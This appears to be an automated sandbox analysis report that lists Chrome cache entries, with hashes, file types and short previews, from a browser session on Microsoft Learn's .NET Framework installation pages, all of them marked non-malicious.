SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
